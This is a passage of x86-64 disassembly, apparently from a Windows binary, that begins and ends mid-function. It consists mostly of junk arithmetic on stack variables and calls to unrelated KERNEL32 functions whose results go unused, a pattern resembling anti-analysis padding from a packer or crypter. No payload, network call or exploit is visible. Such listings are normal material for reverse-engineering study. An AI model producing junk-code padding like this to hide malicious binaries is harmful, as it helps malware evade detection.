xor eax, ecx
mov dword [rsp + 0x92a4], eax
movzx eax, byte [rsp + 0x596]
movzx ecx, byte [rsp + 0x599]
or eax, ecx
mov rcx, qword [rsp + 0x12950]
mov byte [rcx], al
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc0]
shl eax, cl
mov word [0x14027d37c], ax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bf4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9264], eax
lea rdx, [rsp + 0x12910]
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x9308], eax
mov rax, qword [rsp + 0x129c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12930]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12898]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10f18]
mov rcx, qword [rsp + 0x127d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x11420], rax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x596]
sub eax, ecx
mov byte [rsp + 0x599], al
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x928c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x92e8], eax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x129a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xefa8], rax
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x9234], eax
mov rax, qword [rsp + 0x129b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movsx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bc8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movzx eax, word [0x14027d380]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14027d38c], ax
mov rax, qword [rsp + 0x10f18]
mov rcx, qword [rsp + 0x127d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x129a8], rax
movsx eax, byte [rsp + 0x392]
mov rcx, qword [rsp + 0x129c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x36d], al
mov eax, dword [rsp + 0x9298]
add eax, 0x18
mov dword [rsp + 0x9298], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movzx eax, byte [rsp + 0x597]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x59d], al
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2be8]
sar eax, cl
mov word [rsp + 0x1268], ax
mov eax, dword [rsp + 0x928c]
mov ecx, dword [0x1402c4188]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x92e8], eax
mov edx, 0x6d2bf0
mov rcx, qword [rsp + 0x12990]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x923c], eax
mov rax, qword [rsp + 0x129f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x92a4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [0x1402c4180]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x12810], rax
movsx eax, word [rsp + 0x1400]
movsx ecx, word [rsp + 0x2be0]
add eax, ecx
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14027d38c], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59a]
add eax, ecx
mov byte [rsp + 0x59d], al
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2800], ax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x129c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12930], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x127d0], rax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x129a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d8], rax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x928c], eax
mov eax, dword [0x14027d378]
mov ecx, dword [rsp + 0x91fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
jmp 0x14001e102
movzx eax, word [rsp + 0x1268]
mov dword [rsp + 0x930c], eax
cmp dword [rsp + 0x930c], 0
je 0x14001e4f4
cmp dword [rsp + 0x930c], 0x426
je 0x140230b48
jmp 0x140230bb5
lea rdx, [rsp + 0x2d7a0]
mov rcx, qword [rsp + 0x12990]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9310], eax
lea rax, [rsp + 0x1d4c]
mov qword [0x1402c4158], rax
lea rax, [rsp + 0x12930]
mov qword [rsp + 0x129f8], rax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59e]
sub eax, ecx
mov byte [rsp + 0x59d], al
movsx eax, word [rsp + 0x2bc0]
movsx ecx, word [rsp + 0x2bdc]
and eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov word [rsp + 0x2bf8], ax
lea rdx, [rsp + 0x9240]
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x9240], eax
mov eax, dword [rsp + 0x92d4]
mov ecx, dword [rsp + 0x91e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12868]
mov dword [rcx], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [0x1402c4180]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x129a0], rax
mov eax, dword [rsp + 0x91fc]
mov rcx, qword [rsp + 0x129b0]
mov qword [rsp + 0x12a00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12a00]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9230], eax
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x59c]
shl eax, cl
mov byte [rsp + 0x549], al
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bec]
xor eax, ecx
mov word [rsp + 0x2ac0], ax
mov eax, dword [rsp + 0x9218]
add eax, 0x9f
mov dword [rsp + 0x9218], eax
movzx eax, byte [rsp + 0x59d]
movzx ecx, byte [rsp + 0x597]
add eax, ecx
mov byte [0x14027d039], al
movsx eax, word [0x14027d390]
movsx ecx, word [rsp + 0x1d4c]
and eax, ecx
mov word [rsp + 0x2bc0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0x113d8]
mov rcx, qword [rsp + 0x10f18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x129a8], rax
mov rax, qword [rsp + 0x129f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x128c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12930], rax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [0x1402c4170]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12810], rax
mov rax, qword [rsp + 0x12958]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92a4], eax
lea rdx, [rsp + 0x2d7d8]
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9314], eax
cmp dword [rsp + 0x9218], 0x108d8
jbe 0x14001e596
mov edx, 0x41510c
mov rcx, qword [rsp + 0x12990]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x9250], eax
lea rdx, [rsp + 0x2d810]
mov rcx, qword [rsp + 0x12970]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9318], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x92e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x92b8], eax
lea rax, [rsp + 0x2bd8]
mov qword [rsp + 0x12a08], rax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
mov rcx, qword [0x1402c4178]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d4c], ax
mov rax, qword [rsp + 0x129c0]
mov rax, qword [rax]
mov qword [rsp + 0x12a10], rax
cmp qword [rsp + 0x12a10], 0
je 0x14001e7ed
movabs rax, 0x7b1251162c8239
cmp qword [rsp + 0x12a10], rax
je 0x14001e90c
jmp 0x14001e924
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x596]
sub eax, ecx
mov byte [0x1402c4160], al
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
mov dword [rsp + 0x931c], eax
cmp dword [rsp + 0x931c], 0xade
je 0x14001e8dd
cmp dword [rsp + 0x931c], 0xb55
je 0x14001e83d
jmp 0x14001e90a
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x113d8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x128c8], rax
mov rcx, qword [rsp + 0x12908]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x92d8], eax
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rsp + 0x128c8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x12980], rax
movsx eax, word [rsp + 0x1d4c]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
mov eax, dword [rsp + 0x92fc]
mov rcx, qword [rsp + 0x12868]
mov qword [rsp + 0x12a18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12a18]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9200], eax
jmp 0x14001e90a
mov eax, dword [rsp + 0x9230]
mov rcx, qword [rsp + 0x129b0]
mov qword [rsp + 0x12a20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12a20]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x91dc], eax
jmp 0x14001e924
mov ecx, 0x44
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rsp + 0x12a28], rax
call fcn.140231b50
cmp dword [rsp + 0x924c], 0x10019
jae 0x14001ec03
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x59c]
add eax, ecx
mov byte [rsp + 0x36d], al
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xefa8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12810], rax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59b]
and eax, ecx
mov byte [rsp + 0x595], al
movzx ecx, word [rsp + 0x2bd4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bfc], ax
mov rcx, qword [rsp + 0x12880]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9318], eax
mov eax, dword [rsp + 0x924c]
add eax, 6
mov dword [rsp + 0x924c], eax
lea rcx, str.YWIY_Lo0gvO0O.Z8A2Bhl3
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2bfc], ax
movzx eax, word [0x14027d38c]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14027d380], ax
movzx eax, byte [rsp + 0x596]
movzx ecx, byte [rsp + 0x599]
sub eax, ecx
mov byte [rsp + 0x595], al
movzx eax, word [rsp + 0x2be8]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bec], ax
movsx eax, word [rsp + 0x2be0]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12978]
mov word [rcx], ax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x92e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x92d4], eax
mov rax, qword [0x1402c4170]
mov rax, qword [rax]
mov rcx, qword [0x1402c4180]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x129b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d74], eax
movsx eax, word [rsp + 0x2bc0]
movsx ecx, word [rsp + 0x2800]
add eax, ecx
mov word [rsp + 0x2be0], ax
movzx eax, byte [rsp + 0x59d]
movzx ecx, byte [rsp + 0x59e]
shl eax, cl
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ac0]
xor eax, ecx
mov word [0x14027d380], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rsp + 0x113d8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x12980], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x113d8]
sar rax, cl
mov qword [rsp + 0x12930], rax
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rsp + 0x12898]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x129a8], rax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x597]
sub eax, ecx
mov byte [rsp + 0x599], al
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x392]
sub eax, ecx
mov byte [rsp + 0x36d], al
mov rax, qword [0x1402c4170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12958]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9220]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
mov eax, dword [rsp + 0x92fc]
mov ecx, dword [rsp + 0x928c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
jmp 0x14001e924
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [0x14027d38c]
sub eax, ecx
mov word [0x14027d394], ax
movsx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12978]
mov word [rcx], ax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2800]
add eax, ecx
mov word [rsp + 0x1380], ax
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12a08]
mov word [rcx], ax
lea rax, [rsp + 0x59d]
mov qword [rsp + 0x12a30], rax
mov rax, qword [rsp + 0x129b0]
mov eax, dword [rax]
mov dword [rsp + 0x9320], eax
mov eax, dword [rsp + 0x928c]
mov rcx, qword [rsp + 0x12868]
mov qword [rsp + 0x12a38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12a38]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x92e8], eax
mov rax, qword [rsp + 0x11420]
mov qword [rsp + 0x12a40], rax
movabs rax, 0x71eabfcce0a8e6
cmp qword [rsp + 0x12a40], rax
je 0x14001ecf5
jmp 0x14001ee08
mov rax, qword [0x1402c4170]
mov rcx, qword [rsp + 0x12968]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x12810], rax
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [rsp + 0x91fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
mov rcx, qword [rsp + 0x127e0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x9324], eax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [0x1402c4188]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91e8], eax
movzx eax, word [rsp + 0x2be8]
movzx ecx, word [rsp + 0x1268]
sub eax, ecx
mov word [rsp + 0x2bec], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14027d03a], al
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc8]
xor eax, ecx
mov word [rsp + 0x2800], ax
mov rax, qword [rsp + 0x12930]
movzx ecx, al
mov rax, qword [rsp + 0x127d0]
shl rax, cl
mov qword [rsp + 0x10f18], rax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x91fc]
movzx r8d, byte [rsp + 0x595]
movzx edx, byte [rsp + 0x59c]
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rax]
call fcn.140231ac0
jmp 0x140230a48
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov qword [rsp + 0x12a48], rax
mov dword [rsp + 0x20], 0x3b8d
mov r9d, 0x3fa3
mov r8d, 0x610
mov edx, 0x15b7
mov rcx, qword [rsp + 0x12888]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9310], eax
cmp dword [rsp + 0x91f4], 0xa4fa
je 0x14001f118
movzx eax, byte [rsp + 0x59b]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x12810]
movzx ecx, al
mov rax, qword [rsp + 0x12968]
shr rax, cl
mov qword [rsp + 0x12890], rax
mov rax, qword [rsp + 0x129b0]
mov eax, dword [rax]
mov ecx, dword [0x14027d388]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d74], eax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0x9200]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12868]
mov dword [rcx], eax
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2568], ax
movsx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14027d37c], ax
mov rax, qword [rsp + 0x128c8]
mov rcx, qword [0x14027d370]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
movsx eax, byte [rsp + 0x549]
movsx ecx, byte [rsp + 0x36d]
add eax, ecx
mov byte [rsp + 0x392], al
lea rdx, [rsp + 0x9328]
mov rcx, qword [rsp + 0x12888]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x9238], eax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [0x14027d390]
and eax, ecx
mov word [rsp + 0x2800], ax
lea rcx, [rsp + 0x28338]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x595], al
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x129a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xefa8], rax
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rsp + 0x9230]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9320], eax
mov eax, dword [rsp + 0x9200]
mov ecx, dword [rsp + 0x91e8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c70], eax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2be8]
shl eax, cl
mov rcx, qword [rsp + 0x12a08]
mov word [rcx], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x596]
sar eax, cl
mov byte [0x14027d039], al
mov eax, dword [rsp + 0x91f4]
add eax, 0x56
mov dword [rsp + 0x91f4], eax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [0x14027d390]
or eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1268]
and eax, ecx
mov word [rsp + 0x2ac0], ax
mov rax, qword [rsp + 0x113d8]
mov rcx, qword [rsp + 0x128c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10f18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x9200]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12868]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12810]
mov rcx, qword [rsp + 0x12968]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x129a0], rax
mov rax, qword [rsp + 0x12958]
mov rcx, qword [rsp + 0x129f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9220], eax
jmp 0x14001ee49
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf8]
add eax, ecx
mov word [rsp + 0x2bec], ax
cmp dword [rsp + 0x91e0], 0x355a
ja 0x14001f519
mov rax, qword [0x1402c4158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x25b8]
and eax, ecx
mov word [0x14027d37c], ax
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x392]
add eax, ecx
mov byte [rsp + 0x36d], al
movzx eax, byte [0x14027d03a]
movzx ecx, byte [rsp + 0x59a]
shl eax, cl
mov byte [rsp + 0x595], al
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x128c8], rax
movzx eax, byte [rsp + 0x599]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x595], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9248], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [0x1402c4170]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x12810], rax
mov eax, dword [rsp + 0x9230]
mov ecx, dword [rsp + 0x92a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x92b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c70], eax
movzx ecx, word [rsp + 0x2bcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd4], ax
movzx ecx, word [rsp + 0x2bd4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd4], ax
movzx eax, word [rsp + 0x2be4]
movzx ecx, word [rsp + 0x2010]
sub eax, ecx
mov word [rsp + 0x2be8], ax
movsx eax, word [rsp + 0x2bc0]
movsx ecx, word [0x14027d390]
sub eax, ecx
mov word [0x14027d37c], ax
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rsp + 0x127d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10f18], rax
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bec], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9240], eax
movsx eax, word [rsp + 0x2bc4]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2be0], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb5], al
mov eax, dword [rsp + 0x91e0]
add eax, 0x74
mov dword [rsp + 0x91e0], eax
mov rax, qword [rsp + 0x12958]
mov eax, dword [rax]
mov ecx, dword [0x14027d388]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92a4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x928c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x92e8], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127c0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x129a0], rax
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x549]
or eax, ecx
mov byte [rsp + 0x59c], al
movzx eax, word [0x14027d38c]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bec], ax
mov rax, qword [rsp + 0x12810]
mov rcx, qword [rsp + 0x127f8]
mov qword [rsp + 0x12a50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12a50]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x1402c4170]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x2bd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c00], ax
mov rax, qword [0x1402c4178]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rsp + 0x129a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x128c8], rax
mov rax, qword [rsp + 0x129f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12a48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x129a8], rax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12890]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x127c0], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [0x1402c4188]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7c70], eax
mov rax, qword [rsp + 0x12958]
mov rcx, qword [rsp + 0x129b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91dc], eax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc0]
sub eax, ecx
mov word [rsp + 0x1380], ax
movzx eax, byte [0x1402c4160]
movzx ecx, byte [rsp + 0xb5]
add eax, ecx
mov byte [rsp + 0x59d], al
movsx eax, word [rsp + 0x2be0]
movsx ecx, word [rsp + 0x2bc8]
sub eax, ecx
mov rcx, qword [0x1402c4178]
mov word [rcx], ax
jmp 0x14001f135
cmp dword [rsp + 0x92ac], 0x8fc
jb 0x14001f7c5
mov rax, qword [rsp + 0x12980]
mov rcx, qword [rsp + 0x12930]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x129a8], rax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11420]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12930], rax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
movzx ecx, byte [0x14027d039]
or eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x129a0]
shl rax, cl
mov qword [rsp + 0x127d8], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x9200]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x92b8], eax
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
